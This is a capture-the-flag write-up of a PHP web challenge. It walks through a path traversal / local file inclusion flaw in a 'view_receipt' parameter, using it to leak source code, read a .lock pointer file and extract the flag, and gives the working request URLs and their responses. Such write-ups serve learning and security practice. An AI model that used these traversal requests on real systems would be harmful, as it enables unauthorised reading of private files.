Category: Web / Misc
Difficulty: Easy/Medium
1. Challenge Overview
The challenge presented a “BillSplitter Lite” web application. The application allows users to input names and expense amounts, which it then calculates to settle debts. The prompt mentioned an “administrative fee” of 0.01 that was somehow hidden in the “extremely advanced math” of the calculation.
2. Vulnerability Analysis
Initial Discovery
Upon visiting the site, I entered group expenses and clicked “Calculate Group Total.” I noticed a “View Log” link next to each transaction. Clicking this link redirected me to a URL with a specific parameter:
?view_receipt=[filename]
Identifying LFI
I suspected a Local File Inclusion (LFI) or Path Traversal vulnerability and tested it by attempting to access a directory. I received a revealing PHP error:
Notice: file_get_contents(): Read of 8192 bytes failed with errno=21 Is a directory in /var/www/html/index.php on line 82
This confirmed that the view_receipt parameter was being passed directly into file_get_contents(). I immediately used this to leak the application’s source code:
http://52.59.124.14:5069/?view_receipt=../../index.php
Source Code Analysis
The leaked code showed that every user gets a private directory based on their session ID. Inside that directory, a “secret” file is created:
$secret_name = "secret_" . $random_suffix;
$real_flag = trim(file_get_contents('/flag.txt'));
$content = "0.01\n" . $real_flag;
file_put_contents($user_dir . $secret_name, $content);
file_put_contents($flag_file_lock, $secret_name); // .lock stores the name
The “advanced math” was actually PHP Type Juggling. When the app sums up the totals, it uses (float)$content. Because the secret file starts with 0.01, PHP converts the string "0.01\nENO{flag}" into the float 0.01, effectively hiding the flag text from the UI but including the value in the “Vault Balance.”
3. Developing the Exploit
To find the flag, I needed to know the 8-character random suffix of the secret_ file. The source code revealed that this filename is conveniently stored in a file called .lock within the user’s directory.
4. The Solution Script
No script was necessary; the exploitation was performed manually through the browser based on the discovery of the .lock file.
- Read the pointer file: Access
?view_receipt=.lockto find the randomized filename. - Read the flag file: Access
?view_receipt=[secret_filename_from_step_1]to read the flag.
5. The Winning Payload
Request 1 (Finding the filename):
http://52.59.124.14:5069/?view_receipt=.lock
Response: secret_eEuAvCmX
Request 2 (Extracting the flag):
http://52.59.124.14:5069/?view_receipt=secret_eEuAvCmX
6. Result
Viewing: secret_eEuAvCmX
0.01
ENO{f10a71ng_p01n7_pr3c1510n_15_n07_y0ur_fr13nd}